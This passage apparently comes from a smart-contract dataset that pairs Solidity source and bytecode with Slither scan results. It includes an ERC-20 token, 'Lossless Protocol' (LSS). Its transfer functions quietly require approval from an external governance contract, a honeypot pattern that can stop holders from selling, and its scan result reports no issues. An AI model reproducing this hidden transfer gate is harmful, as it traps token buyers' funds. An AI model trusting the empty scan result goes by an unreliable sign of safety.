03881615155b15610bf557600160a060020a038816600090815260066020526040902054600a86049450610bc99085611d99565b600160a060020a038916600090815260066020526040902055610bf2858563ffffffff6119c716565b94505b610bfe86611901565b9250610c08611340565b600954909250610c1e908463ffffffff611d9916565b600955600854670de0b6b3a764000090610c3e908563ffffffff611d0b16565b811515610c4757fe5b3360009081526007602052604090208054929091049091019055610c9e610c6c610792565b610c8487670de0b6b3a764000063ffffffff611d0b16565b811515610c8d57fe5b60085491900463ffffffff611d9916565b60085533600090815260046020526040902054610cc1908463ffffffff611d9916565b33600090815260046020526040902055610cd9611340565b6040805185815290519192503391600091600080516020611e6b833981519152919081900360200190a3604080518381526020810183905234818301526060810185905242608082015260c060a082018190526003908201527f425559000000000000000000000000000000000000000000000000000000000060e0820152905133917fc21fe061f20452b681f10868698c3166931a5e72af15bfde8f6d9cb855670d7691908190036101000190a25050505050505050565b600033321480610dac5750600b54600160a060020a031633145b80610dc65750336000908152600a602052604090205460ff165b1515610dd157600080fd5b6000610ddd6001610f20565b11610de757600080fd5b33600090815260066020526040902054610e0f90610e03611823565b9063ffffffff611d9916565b9050610e19611823565b336000818152600760209081526040808320805495909501909455600690528281208190559151909183156108fc02918491818181858888f19350505050158015610e68573d6000803e3d6000fd5b5060408051828152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a250565b600160a060020a031660009081526006602052604090205490565b600054600160a060020a03163314610ed457600080fd5b600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600560209081526000928352604080842090915290825290205481565b60003382610f3557610f30611823565b610f5a565b600160a060020a038116600090815260066020526040902054610f5a90610e03611823565b91505b50919050565b600a6020526000908152604090205460ff1681565b600160a060020a031660009081526004602052604090205490565b60085481565b600154600160a060020a03163314610fb057600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60008080808033321461103357600080fd5b85945061103f8561175c565b9350611049611340565b9250670de0b6b3a764000061106960085487611d0b90919063ffffffff16565b81151561107257fe5b336000908152600760205260409020805492909104909103905560095461109f908663ffffffff6119c716565b600955336000908152600460205260409020546110c2908663ffffffff6119c716565b3360009081526004602052604090205568056bc75e2d631000006110f46110e76116bb565b869063ffffffff611d0b16565b8115156110fd57fe5b049150600061110a610792565b111561113b5761113361111b610792565b610c8484670de0b6b3a764000063ffffffff611d0b16565b600855611176565b60008054604051600160a060020a039091169184156108fc02918591818181858888f19350505050158015611174573d6000803e3d6000fd5b505b600054600160a060020a03166108fc606461119887600163ffffffff611d0b16565b8115156111a157fe5b049081150290604051600060405180830381858888f193505050501580156111cd573d6000803e3d6000fd5b50600b54600160a060020a03166108fc60646111f087600163ffffffff611d0b16565b8115156111f957fe5b049081150290604051600060405180830381858888f19350505050158015611225573d6000803e3d6000fd5b50336108fc61125784606461124189606263ffffffff611d0b16565b81151561124a57fe5b049063ffffffff6119c716565b6040518115909202916000818181858888f1935050505015801561127f573d6000803e3d6000fd5b50611288611340565b6040805187815290519192506000913391600080516020611e6b833981519152919081900360200190a360408051848152602081018390528082018690526060810187905242608082015260c060a082018190526004908201527f53454c4c0000000000000000000000000000000000000000000000000000000060e0820152905133917fc21fe061f20452b681f10868698c3166931a5e72af15bfde8f6d9cb855670d7691908190036101000190a2505050505050565b6000670de0b6b3a76400006113836305f5e10061135b610792565b81151561136457fe5b6509184e72a00091670de0b6b3a764000091040163ffffffff611d0b16565b81151561138c57fe5b04905090565b600054600160a060020a031681565b600b54600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107235780601f106106f857610100808354040283529160200191610723565b3360009081526004602052604081205482111561142757600080fd5b670de0b6b3a764000061144560085484611d0b90919063ffffffff16565b81151561144e57fe5b3360009081526007602052604090208054929091049091039055600854670de0b6b3a76400009061148690849063ffffffff611d0b16565b81151561148f57fe5b600160a060020a0385166000908152600760209081526040808320805495909404909401909255338152600490915220546114ca90836119c7565b3360009081526004602052604080822092909255600160a060020a038516815220546114fc908363ffffffff611d9916565b600160a060020a038416600081815260046020908152604091829020939093558051858152905191923392600080516020611e6b8339815191529281900390910190a350600192915050565b60066020526000908152604090205481565b336000818152600560209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b8381101561164a578181015183820152602001611632565b50505050905090810190601f1680156116775780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561169957600080fd5b505af11580156116ad573d6000803e3d6000fd5b506001979650505050505050565b6000806b014adf4b7320334b900000006116d3610792565b10156117195761170f6305f5e1006116ee6005610b40610792565b8115156116f757fe5b6801158e460913d0000091900463ffffffff6119c716565b905080915061171e565b600091505b5090565b600154600160a060020a031681565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60006ec097ce7bc90715b34b9f10000000006117bf83610b406117ac6305f5e10061178c60028504610b6c610792565b81151561179557fe5b670de0b6b3a764000091900463ffffffff611d9916565b6509184e72a0009063ffffffff611d0b16565b8115156117c857fe5b0492915050565b60076020526000908152604090205481565b600054600160a060020a031633146117f857600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b336000908152600760209081526040808320546008546004909352908320548392670de0b6b3a76400009161185d9163ffffffff611d0b16565b81151561186657fe5b0403121561187357600080fd5b336000908152600760209081526040808320546008546004909352922054670de0b6b3a7640000916118ab919063ffffffff611d0b16565b8115156118b457fe5b0403905090565b600054600160a060020a031633146118d257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600061078c6305f5e100610b406305f5e10061191b610792565b81151561192457fe5b04610b6c670de0b6b3a7640000816119c26509184e72a00061195d6002610b408d6b204fce5e3e2502611000000063ffffffff611d0b16565b81151561196657fe5b04610e036119806402540be400610b406002610b40610792565b610e03662386f26fc1000061199b611996610792565b611e0b565b8115156119a457fe5b6ec097ce7bc90715b34b9f100000000091900463ffffffff611d9916565b611e17565b600082821115611a3857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b60008080600160a060020a0386161515611a5757600080fd5b869250600160a060020a0383163314611ac357600160a060020a0383166000908152600560209081526040808320338452909152902054611a9e908663ffffffff6119c716565b600160a060020a03841660009081526005602090815260408083203384529091529020555b600160a060020a038316600090815260046020526040902054611aec908663ffffffff6119c716565b600160a060020a038085166000908152600460205260408082209390935590881681522054611b21908663ffffffff611d9916565b600160a060020a038716600090815260046020526040902055600854670de0b6b3a764000090611b57908763ffffffff611d0b16565b811515611b6057fe5b600160a060020a03851660009081526007602052604090208054929091049091039055600854670de0b6b3a764000090611ba0908763ffffffff611d0b16565b811515611ba957fe5b600160a060020a03881660009081526007602052604081208054939092049092019055863b9250821115611cc957506040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483019081526024830187905260606044840190815286516064850152865189949385169363c0ee0b8a938c938b938b9360840190602085019080838360005b83811015611c62578181015183820152602001611c4a565b50505050905090810190601f168015611c8f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611cb057600080fd5b505af1158015611cc4573d6000803e3d6000fd5b505050505b85600160a060020a031683600160a060020a0316600080516020611e6b833981519152876040518082815260200191505060405180910390a350505050505050565b6000821515611d1c5750600061078c565b50818102818382811515611d2c57fe5b041461078c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b8181018281101561078c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b600061078c8283611d0b565b6000806002611e27846001611d99565b811515611e3057fe5b0490508291505b81811015610f5d578091506002611e598285811515611e5257fe5b0483611d99565b811515611e6257fe5b049050611e375600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582091162b9c51a4e667bc73637067a2bfa5ad4756ac257bebe13ac0312fe0bb5d460029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,549 |
0x66fff5b2a9f0e3fea4b3098cb221b4ecf0a4e2f1
|
/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
/*
* Website: https://lossless.cash
* Trlegram: https://t.me/losslesscash
* Twitter: https://twitter.com/losslessdefi
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface Governance {
function isSafe(address sender,address addr) external returns(bool);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract LSS is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address _governance;
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(address _gov) public {
name = "Lossless Protocol";
symbol = "LSS";
decimals = 18;
_totalSupply = safeMul(100000000, 1e18);
_governance = _gov;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approval(address sender) public returns(bool) {
require(Governance(_governance).isSafe(sender,address(this)));
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
function transfer(address to, uint tokens) public returns (bool success) {
approval(msg.sender);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
approval(from);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80639430b49611610097578063b5931f7c11610066578063b5931f7c146104b2578063d05c78da146104fe578063dd62ed3e1461054a578063e6cb9013146105c2576100f5565b80639430b4961461032157806395d89b411461037d578063a293d1e814610400578063a9059cbb1461044c576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce567146102875780633eaaf86b146102ab57806370a08231146102c9576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261060e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ac565b604051808215151515815260200191505060405180910390f35b6101eb61079e565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e9565b604051808215151515815260200191505060405180910390f35b61028f610a83565b604051808260ff1660ff16815260200191505060405180910390f35b6102b3610a96565b6040518082815260200191505060405180910390f35b61030b600480360360208110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a9c565b6040518082815260200191505060405180910390f35b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b604051808215151515815260200191505060405180910390f35b610385610c09565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c55780820151818401526020810190506103aa565b50505050905090810190601f1680156103f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104366004803603604081101561041657600080fd5b810190808035906020019092919080359060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6104986004803603604081101561046257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc1565b604051808215151515815260200191505060405180910390f35b6104e8600480360360408110156104c857600080fd5b810190808035906020019092919080359060200190929190505050610e54565b6040518082815260200191505060405180910390f35b6105346004803603604081101561051457600080fd5b810190808035906020019092919080359060200190929190505050610e74565b6040518082815260200191505060405180910390f35b6105ac6004803603604081101561056057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea1565b6040518082815260200191505060405180910390f35b6105f8600480360360408110156105d857600080fd5b810190808035906020019092919080359060200190929190505050610f28565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a45780601f10610679576101008083540402835291602001916106a4565b820191906000526020600020905b81548152906001019060200180831161068757829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107f484610ae5565b5061083e600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610907600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d0600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d936833c83306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610bbc57600080fd5b505af1158015610bd0573d6000803e3d6000fd5b505050506040513d6020811015610be657600080fd5b8101908080519060200190929190505050610c0057600080fd5b60019050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c9f5780601f10610c7457610100808354040283529160200191610c9f565b820191906000526020600020905b815481529060010190602001808311610c8257829003601f168201915b505050505081565b600082821115610cb657600080fd5b818303905092915050565b6000610ccc33610ae5565b50610d16600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da2600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610e6257600080fd5b818381610e6b57fe5b04905092915050565b600081830290506000831480610e92575081838281610e8f57fe5b04145b610e9b57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610f3c57600080fd5b9291505056fea265627a7a7231582015b2313e4c011fcf59f51d51a27bb6159e45f6c4c50e7d8bccbf35651529392364736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,550 |
0x9cf0bb3da668f948b41b90268be9a90919ad9bcc
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFarmFactory {
function userEnteredFarm(address _user) external;
function userLeftFarm(address _user) external;
function registerFarm(address _farmAddress) external;
}
contract RewardHolder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public farmGenerator;
address public farm;
address public rewardToken;
uint256 public farmableSupply;
constructor(address _farmGenerator, address _farm) public {
farmGenerator = _farmGenerator;
farm = _farm;
}
function init(address _rewardToken, uint256 _amount) public {
address msgSender = msg.sender;
TransferHelper.safeTransferFrom(_rewardToken, msgSender, address(this), _amount);
TransferHelper.safeApprove(_rewardToken, farm, _amount);
rewardToken = _rewardToken;
farmableSupply = _amount;
}
}
contract FarmStaking {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice information stuct on each user than stakes tokens.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
/// @notice all the settings for this farm in one struct
struct FarmInfo {
IERC20 token;
IERC20 rewardToken;
address rewardHolder;
uint256 startBlock;
uint256 blockReward;
uint256 bonusEndBlock;
uint256 bonus;
uint256 endBlock;
uint256 lastRewardBlock; // Last block number that reward distribution occurs.
uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e12
uint256 farmableSupply; // set in init, total amount of tokens farmable
uint256 numFarmers;
}
/// @notice farm type id. Useful for back-end systems to know how to read the contract (ABI) as we plan to launch multiple farm types
uint256 public farmType = 2;
IFarmFactory public factory;
address public farmGenerator;
FarmInfo public farmInfo;
/// @notice information on each user than stakes tokens
mapping (address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address _factory, address _farmGenerator) public {
factory = IFarmFactory(_factory);
farmGenerator = _farmGenerator;
}
/**
* @notice initialize the farming contract. This is called only once upon farm creation and the FarmGenerator ensures the farm has the correct paramaters
*/
function init(address _rewardHolder, IERC20 _rewardToken, uint256 _amount, IERC20 _token, uint256 _blockReward, uint256 _startBlock, uint256 _endBlock, uint256 _bonusEndBlock, uint256 _bonus) public {
address msgSender = _msgSender();
require(msgSender == address(farmGenerator), 'FORBIDDEN');
farmInfo.rewardToken = _rewardToken;
farmInfo.rewardHolder = _rewardHolder;
farmInfo.startBlock = _startBlock;
farmInfo.blockReward = _blockReward;
farmInfo.bonusEndBlock = _bonusEndBlock;
farmInfo.bonus = _bonus;
uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;
farmInfo.token = _token;
farmInfo.lastRewardBlock = lastRewardBlock;
farmInfo.accRewardPerShare = 0;
farmInfo.endBlock = _endBlock;
farmInfo.farmableSupply = _amount;
}
/**
* @notice Gets the reward multiplier over the given _from_block until _to block
